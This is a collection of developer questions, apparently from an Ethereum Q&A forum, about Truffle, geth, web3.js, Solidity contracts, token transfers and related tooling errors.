We have 2 migrations files (2,3) and in 2 we are deploying singletons contracts which later be used in the contracts we deploy on migrations file number 3.

How Truffle pass the address of the contract deployed on file 2 so the contracts that deploy on file 3 will use them as part of the deployment.

where I can the addresses of the deployed contracts?


texts: Hash of the transaction VS Transaction Hash or Transaction ID

texts:
I just want to be sure I understood well how each of them are generated. I'm a bit confused because of the similarity of the names and because I couldn't find in the yellow paper how the transaction ID is generated.

Hash of the transaction

Keccak-256(nonce,gasPrice,gasLimit,to,value,data,v)
//Being the arguments not RLP encoded

Used to calculate the signature along with the private key through ECDSA Sign

Transaction Hash/Transaction ID

Keccak-256(RLP(nonce,gasPrice,gasLimit,to,value,data,v,r,s))
//Being the arguments RLP encoded

Tracking transaction ID given by the local node once the transaction is broadcasted

Can someone confirm I'm right or tell me why I'm wrong?


texts: How to resolve Vyper installation error: fatal error: leveldb/db.h

texts:
Created a virtualenv with python3.6 and performed the following steps

git clone https://github.com/ethereum/vyper.git
cd vyper
make

I see following error(s):

Downloading https://files.pythonhosted.org/packages/e0/7b/9302e33972c4af861f5a425cb37468b4dbb17d7a4d282a657bfdb240055e/plyvel-1.0.4.tar.gz#sha256=134e78519403a6f71f1e66df945763413c48d0f6dec02e1a61f55adf0f83106d
Best match: plyvel 1.0.4
Processing plyvel-1.0.4.tar.gz
Writing /tmp/easy_install-hqyngt9f/plyvel-1.0.4/setup.cfg
Running plyvel-1.0.4/setup.py -q bdist_egg --dist-dir /tmp/easy_install-hqyngt9f/plyvel-1.0.4/egg-dist-tmp-hpr0sci6
warning: no files found matching 'plyvel/*.pxi'
cc1plus: warning: command line option ‘-Wstrict-prototypes’ is valid for C/ObjC but not for C++
plyvel/_plyvel.cpp:547:24: fatal error: leveldb/db.h: No such file or directory
compilation terminated.
error: Setup script exited with error: command 'gcc' failed with exit status 1
Makefile:4: recipe for target 'init' failed
make: *** [init] Error 1


texts: ether.li -> how to transfer to any other wallet?

texts:
Dears,
I'm holding some ETH since 2016 now and remembered this the last few days. However, as the price is nice, I'd like to sell some but they are on ether.li and I cannot transfer to any other wallet :-( It says, I'd not have enough gas.
However, I'd like to send to INFINITO wallet, which I use for other coins right now, but need some support. Reading some old solutions in this forum, I did not find a solution yet. Is there anyone who is able to support me on this, please?
I do have all keys available.
Thanks a lot in advance,
fks


texts: How to send transaction with ethereumjs-tx?

texts:
I installed and used ethereumjs-tx, as explained here.

I ran the following commands:

var Tx = require('ethereumjs-tx')
var privateKey = new Buffer('xxxxxxxxx', 'hex')

var rawTx = {
  nonce: '0x00',
  gasPrice: '0x09184e72a000',
  gasLimit: '0x2710',
  to: '0x0000000000000000000000000000000000000000',
  value: '0x00',
  data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057'
}

var tx = new Tx(rawTx)
tx.sign(privateKey)

var serializedTx = tx.serialize()

Now, how do I broadcast this transaction to the testnet?

If relevant, I have a geth node running and synced, with an etherbase. Do I need to somehow use geth to send this transaction, or can I send it just with ethereumjs libraries, and (in either way) how can I do it?

Thanks for any help,


texts: eth.getTransaction returning null? Troubleshooting steps

texts:
Why am I getting null trying to query ANY transaction id? Any ideas to troubleshoot?

Running in light mode. I can query last block number. I can query balances of addresses without issue. eth.getTransaction returns null no matter what id. We have another node with practically the same settings in config and it works fine. Server is running NTP so server time is synced. Does it take along time to get more peers? Our other node has 12 peers.

Geth console...

instance: Geth/v1.8.6-stable-12683fec/linux-amd64/go1.10
modules: admin:1.0 debug:1.0 eth:1.0 net:1.0 personal:1.0 rpc:1.0
txpool:1.0 web3:1.0

> net.peerCount
6
> eth.getTransaction('INSERT ID HERE')
null
> net.listening
true
> eth.blockNumber
5541535


texts: how different users write their data in ethereum network?

texts:
How a number of blockchain users save their data in the blockchain network using ethereum.
Meaning more than one user sends his data using Python to save it in blockchain networl  ??
How do I distinguish this data from this user or from another user?
i am using ethereum virtual machine


texts: Truffle migrate --network ropsten always runs development network

texts:
I am trying to deploy a simple contract to the Ropsten network using Truffle and Infura. I have set up the Ropsten network in the truffle-confug.js file but it seems truffle always uses the development network.

When I try to migrate the contract using truffle migrate --network ropsten I see the following error:

> simple-eth-server@1.0.0 truffle /home/kuzdogan/Desktop/repos/simple-eth-server
> truffle "migrate" "ropsten"

Compiling your contracts...
===========================
> Everything is up to date, there is nothing to compile.

Could not connect to your Ethereum client with the following parameters:
    - host       > 127.0.0.1
    - port       > 7545
    - network_id > 5777
Please check that your Ethereum client:
    - is running
    - is accepting RPC connections (i.e., "--rpc" option is used in geth)
    - is accessible over the network
    - is properly configured in your Truffle configuration file (truffle-config.js)

Truffle v5.0.25 (core: 5.0.25)
Node v10.16.0

Here is my truffle-config.js

const config = require("./config.js")
const HDWalletProvider = require("truffle-hdwallet-provider");

module.exports = {

  networks: {

    ropsten: {
      provider: function() {
        return new HDWalletProvider(config.mnemonic, "https://ropsten.infura.io/v3/" + config.infuraKey)
      },
      network_id: 3
    }
  },
}

What I've tried so far:

Rename truffle-config.js to truffle.js
Adding a development network. Then the URLs and parameters become the same as in truffle-config.js file
Renaming ropsten network config to development. In this case the migrate command finishes execution silently, after Everything is up to date, there is nothing to compile.

I somehow have the feeling that the issue is with my Infura config. How can I debug this?


texts: How to interact smart contract to my IOS and Android app

texts: I created a UI part on my android and IOS app and created a smart contract in solidity based on the application. When I click the button in android or Ios app contract need to executed in the backend. So that, I need to interact my smart contract with these apps


texts:
Let's suppose we created two contracts: Contract A and Contract B.

Contract A is inherit by Zeppelin's standard token ERC20 where as
Contract B is inherit by contract A.

Will contract B be considered as another ERC20 token?


texts: Unlocking the ethereum account in azure using azure cloud shell

texts:
I have created an ethereum account in azure using ethereum consortium proof of concept and linking  metamask with it ,I m trying to unlock the adrees of ethereum i have created

I HAVE TRIED IN BOTH WAYS AND both ways leads to error i want to unlock my ethereum account to use with my website enter image description here


texts: Can I have a listener to cryptocurrencies / tokens reaching a specific address?

texts:
Let's say that there is an address called 0x1

There is another address called 0x2 which just released a new token called ABA.
Is there a way to constantly listen for 0x1 to see if it receives ABA from any users, without making the user interacting with your smart contract?
In other words, if the users sends their ABA to 0x1, they will receive ABAv2 in exchange, depending on the amount they sent to 0x1. The user would be able to select in their smart contract the address they want to send to, in this case 0x1 and everytime they make a transaction to 0x1 they "automatically interract" with the specified logic.

Hope that makes sense.

The tokens I'm talking about are ERC20s.


texts:
How to I transfer many of my ERC721 tokens to many addresses?

MyERC721:

function mintUniqueTokenTo (
    address _to,
    uint256 _tokenId,
    string  _tokenURI // Store, receipient's name, grade and program details
) public
{
    super.mint(_to, _tokenId);
    super._setTokenURI(_tokenId, _tokenURI);
}

Mint to one token is easy:

nftInstance.mintUniqueTokenTo(address, tokenId, tokenURI)

With many receipients, I thought of creating a distribution contract but solidity cannot accepts array of strings. So I cannot pass it the tokenIds and tokenURIs

addresses[]; //List of receipients of my NFT tokens
tokenIds[];
tokenURIs[];

So this is where I'm stuck. Is my approach wrong?


texts: Why the remote port connected by the geth node is not the initial port by remote node?

texts:
I deploy a ethereum private network by geth, And I running three node on my computer, connect them by bootnode. The private network is working, But I'm confused about the results of the operation.
My geth cmd is:
geth --datadir chain/node1  --networkid 15 --bootnodes $bootnode_address
geth --datadir chain/node2  --networkid 15 --port 30304 --bootnodes $bootnode_address
geth --datadir chain/node3  --networkid 15 --port 30305 --bootnodes $bootnode_address

As is described in the picture，There are multiple ports launch, And
Why do these ports（60077；60300；60089） appear?
I think the connection should be :
30303 -> 30304;30305
30304 -> 30303;30305
30305 -> 30303;30304
But now the connection are:
30303 -> 60077; 60089 -> 30305
60077 -> 30303; 60300 -> 30305
30305 -> 60300; 30305 -> 60089
Does anyone know why?
Thanks.


texts:
I created some custom token in Ropsten testnet using this guide:
https://steemit.com/ethereum/@maxnachamkin/how-to-create-your-own-ethereum-token-in-an-hour-erc20-verified

I can send it to other accounts using MetaMask, but can't figure out how to do it in node.js using web3, ethereumjs-tx and Web3 JavaScript app API.

My code at the moment looks like this:

var count = web3.eth.getTransactionCount("0x26...");
var abiArray = JSON.parse(fs.readFileSync('mycoin.json', 'utf-8'));
var contractAddress = "0x8...";
var contract = web3.eth.contract(abiArray).at(contractAddress);
var rawTransaction = {
    "from": "0x26...",
    "nonce": web3.toHex(count),
    "gasPrice": "0x04e3b29200",
    "gasLimit": "0x7458",
    "to": contractAddress,
    "value": "0x0",
    "data": contract.transfer("0xCb...", 10, {from: "0x26..."}),
    "chainId": 0x03
};

var privKey = new Buffer('fc3...', 'hex');
var tx = new Tx(rawTransaction);

tx.sign(privKey);
var serializedTx = tx.serialize();

web3.eth.sendRawTransaction('0x' + serializedTx.toString('hex'), function(err, hash) {
    if (!err)
        console.log(hash);
    else
        console.log(err);
});

In this case code just stops at contract.transfer("0xCb...", 10, {from: "0x26..."}) part and request is just pending. Couldn't find any guide for doing similar things. Found some code here:

Web3 sending custom tokens by using the transfer function. Need to set the from account

And here:

How to transfer ERC20 tokens using web3js

But still got stucked, don't know what I'm missing.


texts: Splitter contact: is payable modifier missing?

texts:
I am using the geth javascript console, trying to split pre-fork ETH using the ReplaySafeSplit v2 contract 0xaBbb6bEbFA05aA13e908EaA492Bd7a8343760477 (code here).

I am doing this as follows:

splitteraddr = "0xaBbb6bEbFA05aA13e908EaA492Bd7a8343760477"
abi = [{"constant":false,"inputs":[{"name":"targetFork","type":"address"},{"name":"targetNoFork","type":"address"}],"name":"split","outputs":[{"name":"","type":"bool"}],"type":"function"}]
splitter = eth.contract(abi).at(splitteraddr)

preforkaddr = eth.accounts[0]
newethaddr = eth.accounts[1]
etcaddr = <a classic ether wallet address>

personal.unlockAccount(preforkaddr)
splitter.split.sendTransaction(newethaddr, etcaddr, {from: preforkaddr, value: web3.toWei(0.01, 'ether'), gas: 100000, gasPrice: web3.toWei(100, 'gwei')})

However, this results in: Error: Cannot send value to non-payable function.

From what I understand so far, since v0.4.0 of solidity, functions need to be explicitly modified using payable (stated here). The ReplaySafeSplit contract appears to have been compiled using v0.3.5 and the split function does not include this modifier.

Does this prevent my transaction from taking place through some mechanism built into geth? I can see by looking at the contract's transaction history that regular transactions are taking place so the contract is clearly usable.

Is there a workaround in geth? Am I getting something wrong somewhere?


texts: Can smart contracts compute on encrypted data?

texts:
There's a ton of super technical articles out there published about this, but I cannot understand them because I don't have a PHD in cryptography.
So then, put simply, can I or can I not have smart contracts process and run queries on encrypted data?
if the answer is no, then, does there exist some milestone of development in the near future at which point we will able to query encrypted data on ethereum? perhaps via IPFS integration?


texts:
I want to create a Smart Contract which can copy a file from one location in a computer to another location in the same computer.

I am new to Ethereum and don't know how to proceed. Any help with the code will be highly appreciated.


texts: Password does not work in Ethereum Wallet

texts:
I have read the other threads on this topic where people have shared their experiences of not being able to decrypt their password on the Ethereum Wallet.

I had gone through all the steps of setting up a password on creating the Main Etherbase account and then noting it down somewhere else. Last week, I attempted to transfer some Ethers from that Etherbase account to a new account I had created on the Wallet application.

I typed in my password when prompted on the transaction window, clicked Send Transaction, but I got the wrong password alert. I know that this was the correct password. After several attempts, even using lower case and sometimes with the _ symbol, neighbouring keys in case I had mistyped BUT no success.

I sent my wallet file to WalletRecoveryServices.com for Dave Bitcoin to decrypt. But not even he could decrypt it. What has happened here? Is it to do with the json file that the Wallet application generates? Does it mean that my Ethers are lost forever?


texts:
Per https://etherscan.io/address/0x0000000000000000000000000000000000000000 the zero account currently contains ETH worth about $3.3 million USD.

I understand how the zero account is used in the EVM. My question is who owns that Ether?


texts: How can I find out the token balance of some address?

texts:
How can I find out the token balance of some address using Solidity?

For example, I have the address of another person, and I need to know the number of tokens on his account.


texts: Get block address through web3.eth.getBlock(1)

texts:
I'm getting a list of the last few blocks like described here.

Now I can't seem to get the address of each block or the associated contract, through web3.eth.getBlock. A lot gets returned, but no addresses. I'm getting the block through the index number, and not through the address.

I do get an address from a callback in a .watch function, after I triggered a transaction.

What I'd like to achieve is to derive some useful and readable information from the callback of .getBlock, all I have right now is the timestamp. And also the transactions Array is 0 every time, no matter what the transaction is.
I've also tried getStorageAt which always returns 0x00 no matter which address or which position I request, this can't be normal behaviour? I am running testrpc, perhaps this has limited data returns?

Or am I trying to get the information from the wrong source? Since a block is not necessarily equivalent to a contract?


texts:
I have following script. I want to do stopWatching after the event-logs are printed and automatically kill the running node, but via script I was not able to achive it.

run.js:

Web3 = require("web3");
web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8545"));
exports.LogJob = function( blkNum ) {
    var event = myContractInstance.LogJob({}, { fromBlock: blkNum, toBlock: blkNum });
    event.watch( function (error, result) {
        console.log( JSON.stringify(result ) );
    });
    sleep.sleep(10);     //without those two lines it prints logs and pauses.
    event.stopWatching();//
}

ret = Log.Job( 100000 ); //I cannot return since watching is on.

Running: node run.js after printing logs does not kill itself and pauses like in a while(). Please note that if I have some other calls after calling LogJob() it always gives its output after everything is printed. So I can't return the output and do some operations.

If I do stopWatching() after 10 seconds within the function, now it does not print anything.

[Q] How could I print event logs and stopWatching() within the node script?


texts: (Sub) contract vs. library vs. struct vs. Interface

texts:
First I googled and read through these questions:

Creating multiple contracts or Single contract with struct

Child contract vs struct

Why are so many examples using separated contracts (e.g. crowed sale contracts in zeppelin...)? IF I got all this right in most cases it would make sense to NOT use separated contracts. It would not even make sense to use libs and interfaces. Imho an interface makes sense if I do not have to pay gas for execution. But we are on a blockchain and want to keep contracts as "slim"/"light" as possible. Therefore I would even only copy the code functions I need out of a lib (only use the whole lib if I use all functions). Use the interface only for checking and debugging...


texts: burning or collecting transaction fees on PoA

texts:
In Parity PoA, how would you burn or divert all transaction fees to a predefined contract?

Would it be easier in another PoA chain?


texts:
I used Mist Wallet (Rinkeby Network) to try this.

Have created a contract same as given here. For the sake of quick understanding, am pasting it below. I created this contract from the same owner that created the token.

pragma solidity ^0.4.16;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;

  function Ownable() {
    owner = msg.sender;
  }

  modifier onlyOwner() {
    if (msg.sender != owner) {
      revert();
    }
    _;
  }

  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}

contract ERC20Basic {
  uint public totalSupply;
  function balanceOf(address who) constant returns (uint);
  function transfer(address to, uint value);
  event Transfer(address indexed from, address indexed to, uint value);
}

contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) constant returns (uint);
  function transferFrom(address from, address to, uint value);
  function approve(address spender, uint value);
  event Approval(address indexed owner, address indexed spender, uint value);
}

contract Airdropper is Ownable {

    function multisend(address _tokenAddr, address[] dests, uint256[] values)
    onlyOwner
    returns (uint256) {
        uint256 i = 0;
        while (i < dests.length) {
           ERC20(_tokenAddr).transfer(dests[i], values[i]);
           i += 1;
        }
        return(i);
    }
}

Have executed the Multisend function as per the below image.

The function gets executed, but none of the address seems to have received the tokens. The transaction hash is 0xeb759ea8f6c923874adfc6961555733b36982f5d770dd24bf85456b534d2e2f9

What am I missing? Any help is highly appreciated.


texts: Is there a simple step - by - step guide to run Mist in light mode?

texts:
I searched on Reddit, Youtube... but I keep doing something wrong I guess.
I downloaded the last Mist, and I want the bundled Geth node to be a light one, and to remain a light client every time I open Mist.
Following the tutorials on the web, I simply oper Terminal and type "geth --light", and every time it says "-bash: geth: command not found". Is there something I didn't do right? Can please someone explain me in dumb terms what I have to do?

I have a 2012 MB Pro with MacOS 10.12.5. Thanks


texts: What are the arguments to `new` from a contract object?

texts:
In the greeter tutorial, the greeterContract is deployed using new:

var greeterContract = web3.eth.contract(greeterCompiled.greeter.info.abiDefinition);
var greeter = greeterContract.new(_greeting,{from:web3.eth.accounts[0], data: greeterCompiled.greeter.code, gas: 10000000000000}, function(e, contract){...

What exactly are the arguments I'm providing to the function?

Where in the go-ethereum source code is the new function defined?

Where in the go-ethereum source code is the web3 class defined?


texts: Where is the result of the smart contract call stored when using web3.py's transact method?

texts:
I am using web3.py and trying to get the return value of a smart contract method after calling it. Of course, I can do it like this:

value = smart_contract_instance.someFunction()

but this does not give me any information about how much gas was used. If I use the transact method like this:

tx_hash = smart_contract_instance.transact({'to': w3.eth.accounts[0]}).someFunction()

I can access the receipt with w3.eth.getTransactionReceipt(tx_hash), but this does not give me the result. How can I access the result of the call without having to invoke the smart contract twice (as in using both code snippets from above)?


texts:
I'm writing my first smart contract.
At a certain point I need it to start a countdown like process, it must perform a token transfer after a certain number of blocks. This is giving me some problems.

Is there a way that's already been explored to efficiently do it?

EDIT: I want the smart contract to perform the transaction, not to schedule a transaction to be sent at a certain block height from my node


texts:
I had ran ethereum for some time for developing. I had upgrade to the latest Mist 0.8.10, Wallet 0.8.10 and geth 1.6.5 on Windows 10. after this, everything seems to break, everytime i start my mist it will shows "node connection error".

After i deleted everything from User\Appdata - mist, wallet, geth and reinstall mist again (without separately installing geth). it is working ok until i switch from main to testnet. the same problem occured.

anyone have experience to resolved this issue and switch from main to testnet seamlessly?

i have no problem running geth from command line before launching mist or wallet. It will sync all the blockchain when mist starts.


texts:
Ethereum newbie here. I'm trying to implement a simple 4-number lottery game, based on the amount of Wei sent.

Example
Account 0 entered the lottery with 1234 Wei.
Account 1 entered the lottery with 5678 Wei.
If the manager ran pickWinner(1234), Account 0 will win and get the money since he entered with the winning number.

Problem
It seems like players = new Player[](0) is not allowed.

UnimplementedFeatureError: Copying of type struct Lottery.Player memory[] memory to storage not yet supported.

Is there any way to clear an array of structs? or is there a better way to approach this lottery mechanism? Thanks! :)

pragma solidity ^0.4.17;

contract Lottery {
address public manager;
struct Player {
    address recipient;
    uint value;
}
Player[] public players;

mapping(uint => address[]) recipientValue;
mapping(uint => uint) recipientValueCount;

function Lottery() public {
    manager = msg.sender;
}

function enter() public payable {
    Player memory newPlayer = Player({
        recipient: msg.sender,
        value: msg.value
    });

    players.push(newPlayer);

    recipientValue[msg.value].push(msg.sender);
    recipientValueCount[msg.value]++;
}

function pickWinner(uint index) public restricted {
    address[] storage winners = recipientValue[index];
    uint prize = this.balance / recipientValueCount[index];

    for(uint i=0; i< winners.length; i++){
        winners[i].transfer(prize);
    }

    players = new Player[](0);

}

function totalBalance() public view returns (uint) {
    return this.balance;
}

modifier restricted() {
    require(msg.sender == manager);
    _;
}

}


texts: Given a blockhash, how can I prove a transaction with a given hash has been mined?

texts: I'm working on a proof-of-relay contract that pays out if and only if a given transaction hash has been mined. I imagine there is some kind of merkle proof that would make this possible?


texts: 'VM Exception while processing transaction: revert\n' Error Processing transaction

texts:
I have read in various posts that this error occurs when there is a problem with executing function. So I'm asking about this error in regards to the code I have written.
Please see below:
contract Slot_Machine is Mortal{

  // A struct type that defines state variables of a player.
  //Every player has a wallet, amount they are willing to
  //deposit and a guess.
  struct Player{
      address payable wallet;
      uint deposit;
      uint guess;
  }

  mapping (address => Player) public player;

  constructor() public{
      newPlayer(10,5);
  }

  function sendPay(address to, uint amount) public {
      player[to].wallet.transfer(amount);// **---> where the error occurs in the truffle console**

  }

I've also tried simplifying the line of code, where 'to' is an address payable type:
to.transfer(amount)
Am I missing an exception throw or something?


texts:
When a contract transfers ether to an address, who pays the gas?

For example:

function withdrawRefund(){
    uint refund = refunds[msg.sender];
    refunds[msg.sender] = 0;

    msg.sender.transfer(refund);
}

The sender pays the gas for the contract state change.
But who pays the gas for the ether transfer, the sender or the contract?


texts: How to run a test file (.go) from ethereum source?

texts:
I have download the ethereum source from github and store the source in directory "~/EthereumSource/go-ethereum".

I have install all required software to build the source and successfully build the source from terminal using "make geth". I can run a private node using this geth.

Now I want to run the individual test files from source but failed.

Command:
"~/EthereumSource/go-ethereum/p2p/testing$ go test protocoltester.go"

Error:
protocoltester.go:35:2: cannot find package "github.com/ethereum/go-ethereum/log" in any of:
    /usr/local/go/src/github.com/ethereum/go-ethereum/log (from $GOROOT)

I have solved the problem using the following command (adding  build/env.sh)

Command
~/EthereumSource/go-ethereum$ build/env.sh go test ./p2p/testing/protocoltester.go

but now i have this error
"p2p/testing/protocoltester.go:48:2: undefined: ProtocolSession"

I have also tried to run a different file server_test.go but failed

Command : ~/EthereumSource/go-ethereum$ build/env.sh go test ./p2p/server_test.go

Can anyone help me to show the proper steps to build those two files?

Thanks


texts: How to decode input data with ABI using golang?

texts:
There is a tool on npm ethereum-input-data-decoder. And yes, i can read input data as hex.

And i hope that i can decode transaction's inputdata using golang.
For example 0xa9059cbb00000000000000000000000067f883a42031215622e0b84c96d0e4dca7a3ce810000000000000000000000000000000000000000000000000000000005f5e100

thx.


texts: Does EthereumJ (Java implementation of Ethereum) support JSON RPC API?

texts: Looking at their github repository and searching through the source code, I could not find JSON RPC API, except the one for Whisper. Perhaps I did not look hard enough?


texts: Finding total transaction count (confirmed + pending) using web3.js

texts:
I am using web3.js version 0.20.6. I want to find the total transaction count so that I can set my nonce correctly.
Currently, I am calculating the number of transactions in the following manner:

getCount = async function(address){

      web3.eth.getTransactionCount(address, async function(err, count){

         var confirmedTransactionCount = count; //this is obtained correctly

         client = new rpc.Client(options);

          client.call(
          {"jsonrpc": "2.0", "method": "txpool_content", "params": [], "id": 1},
          function (err, res) {

                 var pendingTransactionCount = res["pending"][address].length;
                  //here res["pending"][address] is always 'undefined'

            }
    })
};

As I mentioned, the value res["pending"][address] is always undefined. I can see there are entries for other addresses, however there are no entries for the sender's address I used to create and broadcast a transaction.

I can see that the transaction is in pending state on etherscan. Is it because the txpool_content is specific to a node and the node I am pointing to does not contain my transaction?

PS: there might be some syntactical error in the code snippet here, but essentially this is my code and I have made sure the values in all variables are being set correctly


texts: Why EIP 2 is accepted as of 2 June 2016. But not yet finalized?

texts: My understanding is that EIP2 is implemented in Geth 1.3.4 and active since the Homestead hard fork, but it's EIP status is only 'accepted' not 'final'. Is this pure sloppiness or did I miss something?


texts: How to keep IPFS files alive online forever?

texts:
I'm using IPFS to host a website and I need a way to keep the website files online all the time.

I know that ipfs has a garbage collector that removes the content after 24 hours.

And that if I pin the content with ipfs pin add <file> then it's like adding the file again so it's not deleted from the network.

Now my question is How do I keep my IPFS files online forever?

Can I create a cron job to keep re-pinning the content every 24 hours? or is there a better way?


texts: Why can't I specify the storage location for integers?

texts:
According to the Solidity documentation,

  For almost all types, you cannot specify where they should be stored, because they are copied every time they are used.

I have played around with this in Remix trying to understand it with the following code.  I would expect that by adding "storage" to the "inc" function, I could use it to change multiple global uints, but "storage" is reserved for structs and arrays.

I'm having trouble understanding the reasoning behind this - that this can't be done "because they are copied every time they are used".  I take this to mean that every time a uint is used in a function, a copy is made to memory - and nothing can be done about that.  But I can alter a global uint within a function by saying, for example, "number1 += 1", and this will save to the state.  So, I don't understand why a copy must be made each time.

pragma solidity ^0.4.0;

contract C {
    uint public number1;
    uint public number2;

    function incOne() public view {
        inc(number1);
    }

    function incTwo() public view {
        inc(number2);
    }

    function inc(uint storage d) internal pure {
        d += 1;
    }
}


texts: Is there a limit on how many events a contract can emit and how many mappings it can have?

texts:
I read somewhere that there is a limit on the amount of data that can be stored in a contract. And so there is a limit on how big arrays can be.
Now I am wondering is there a limit on how many mappings a contract can have? And is there a limit on how many events a contract can emit?
I am asking this to understand how a factory contract would store pointers if it had many child contracts.


texts: Running geth test node returns bash: /geth.ipc: Permission denied

texts: I am trying to run a geth test node as shown here in the tutorial but when i run the command geth --ipcpath <test-chain-directory>/geth.ipc --datadir <test-chain-directory> --dev console ( in test-chain-director i used a directory i created for this project) returns  bash: /geth.ipc: Permission denied. What am I doing wrong?


texts: Get a list of all token types for ERC1155

texts:
How do I identify what token types have been created for a specific ERC1155?
I noticed the balanceOf function takes an address (owner) and the token type, but what if I dont know what all token types have been created?  Do i need to look at all the past Events ever triggered for the specific ERC1155 contract? Or is there a way to get the mapping directly?
ie: is there a way to get the _balances variable in ERC1155 that is of type
mapping (uint256 => mapping(address => uint256)) private _balances;


texts: What are the differences between Truebit and sharding

texts:
Truebit is a recent proposal for building smart contracts on top of Ethereum.  Truebit allows outsourcing complex computations to untrusted parties, verifying that the computation was done correctly, and paying them for their work.  The enforcement and incentives are implemented as a set of Ethereum smart contracts.  This is an improvement over current Ethereum, as currently the gas limit means that Ethereum smart contracts can only perform a limited amount  of computation.

There are various proposals for sharding, which allow the Ethereum blockchain to scale to a larger number of transactions.  They might plausibly allow for increasing the gas limit.  So, they could be viewed as an alternative to Truebit.

What advantages and disadvantages does Truebit have over sharding, as a way of allowing smart contracts to perform more computation?


texts: I am trying to figure out what part of a complicated smart contract transaction is responsible for the cost. I was wondering if there is already a tool for that. Ideally it would spit out you are spending this much gas on this kind of opcode or storage op etc. It would be great for writing optimized computation "heavy" smart contracts.


texts: Decode transaction inputs with go-ethereum

texts:
When making a contract transaction using go-ethereum (golang) how can I decode the transaction inputs.

Specifically
Given a tx.Data []byte , the contract's contractABI abi.ABI and the method that is being called its methodID string how can I decode tx.Data from hexadecimal to go types ?

I've tried doing abi.Methods[methodID].Inputs.Arguments.UnpackValues(tx.Data)  but this always results in an empty slice of values.

Code:

func decodeTxParams(abi abi.ABI, method string, data []byte) ([]interface{}, error) {
    txParams, err := abi.Methods[method].Inputs.UnpackValues(data)
    if err != nil {
        return []interface{}{}, err
    }
    return txParams, nil
}

caller:

func (b *backend) SendTransaction(ctx context.Context, tx *types.Transaction) error {
    err := b.Client.SendTransaction(ctx, tx)
    if err != nil {
        return err
    }

    // update local nonce
    msg, err := tx.AsMessage(types.HomesteadSigner{})
    if err != nil {
        return err
    }
    sender := msg.From()
    b.nonceManager.Lock(sender)
    b.nonceManager.Update(sender, tx.Nonce())
    b.nonceManager.Unlock(sender)

    data := msg.Data()
    method, ok := b.methods[string(data[:4])]
    if !ok {
        method = "unknown"
    }

        txParams, err := decodeTxParams(b.abiMap[string(data[:4])], string(data[:4]), data[4:])

    if err != nil {
        return err
    }

    if err != nil {
        glog.Infof("\n%vEth Transaction%v\n\nInvoking transaction: \"%v\".  \nTransaction Failed: %v\n\n%v\n", strings.Repeat("*", 30), strings.Repeat("*", 30), method, err, strings.Repeat("*", 75))
        return err
    }

    glog.Infof("\n%vEth Transaction%v\n\nInvoking transaction: \"%v\".  Hash: \"%v\". \n\n%v\n", strings.Repeat("*", 30), strings.Repeat("*", 30), method, tx.Hash().String(), strings.Repeat("*", 75))

    return nil
}


texts: Remix How Do I Get a Value Returned From A Function In Solidity

texts:
How do I get a return value in solidity?

I'm using some test code in remix, but I don't understand where the output is displayed.

my code is as follows:

pragma solidity ^0.4.17;

contract Test {
    function getValue(string something) public returns (uint) {
        return 123;
    }
}

when I call the getValue method with a string "testing123" (quote marks required), I expected the function to return 123.

the properties returned on Remix are:

decoded input:

-

decoded output

{ "string something": "testing123" }

I have read the documentation but I may not be understanding some part of it. Any help is appreciated.


texts: Why do we have to mention Solidity version?

texts: While writing code in solidity, why do we have to mention the compiler version?


texts: How to change a state variable in a smart contract with web3.js

texts:
I am new to solidity and web3.js.

I have a very simple solidity code deployed on the rinkeby like

pragma solidity ^0.4.24;

contract sample {
 string public name;
 function set(string _name) public {
    name = _name;
 }

 function get() public view returns (string){
   return name;
 }
}

After spending hours, I could figure out  how to get the state variable 'name' using web3.js. But, I could not get how to change the variable with web3.js. Any help? Please. I am using web3.js 0.20.3. Thanks/


texts: Sync never completes via cmdline Geth or GUI Mist wallet

texts:
I have been trying to sync my machine up to mine Ether for the past few days to no success. Regardless of what version of any program I use, it always sticks around 60 percent complete and goes up about 10 blocks an hour. The first 60 percent of it only took an hour or so to download. I have tried totally removing all Ethereum related software and reinstalling to no avail.

I have a 50 down MINIMUM internet connection
I have more than enough SSD space
I have 16gb of memory
I have the newest versions of all software required.
I am running windows 8.1 x64

I appreciate any assistance!


texts: How to use hardened key derivation properly?

texts:
I am implementing a wallet for customers' deposits account. I am using ethereumjs-wallet/hdkey. I need to decide which derivation path to use:

standard for ethereum would be m/44'/60'/0'/0 but maybe I'd rather use a custom path as the wallet is for ethereum exclusive so I could at least use  m/44'/60'/0' because no UTXO and no need for change addresses.

Currently I'm struggling because can not find a method to derive hardened children.

Do I understand it correctly, if children are not hardened, than any leaked child private key would compromise all the siblings and parents?

Is there a possibility to create hardened children with ethereumjs-wallet?


texts:
I am new to ERC721 tokens so this may be a stupid question.

I want to create my own ERC721 which can be integrated with opensea using the metadata, as far as I understand you have to store the tokenUri which is an HTTP link in a server or using IPFS, my question becomes, what happens if I don't follow the standard json and I add random fields ?

Does the tokenUri only store a link and inside of that you have to put the json ?


texts:
Given a function and a event in a contract:
event OtherCreated(address other, address addr1, address addr2);

function doSomething(address addr1, address addr2){
     if(aBool == true){
        address other = new OtherContract(addr1, addr2);
        others.push(other);
        OtherCreated(other, addr1, addr2);
     }
}

And given a js call in a browser:
 .then(function(tx_id){
      console.log('previous call completed');
     otherCreated = contractAddr.OtherCreated();
     otherCreated.watch(function(error, result){
        if (!error)
        {
          console.log('in event handler');
        }
      return  contractAddr.doSomething(account0, account1, {from: account0, gas: 4700000 });
    })

The event handler is called twice. Is this an error on my part, or do I need to change something in this setup.

Output:


texts: Error while calling function in smart contract using nodejs?

texts:
I have deployed a contract in private blockchain using mist wallet.
When I try to call the function in the smart contract using web3 api it through the below error

/home/karthikeyan/Desktop/n2/node_modules/web3/lib/solidity/address.js:23
return !!name.match(/address(\[([0-9]*)\])?/);
             ^
TypeError: Cannot read property 'match' of undefined
 at SolidityTypeAddress.isType

My code:

var Web3 = require('web3');
var web3 = new Web3(new
Web3.providers.HttpProvider("http://54.212.192.158:8545"));

var abi = [ Contract ABI];

var myContract = web3.eth.contract(abi);
var myContractInstance = myContract.at("0x1AAFef75Fd4349F1747F051819B0E6DDb9903826");
var result = myContractInstance.balanceOf("0x7F0991e4c4613fbD4B84bb3B3f195f104936ABe7");
console.log(result);


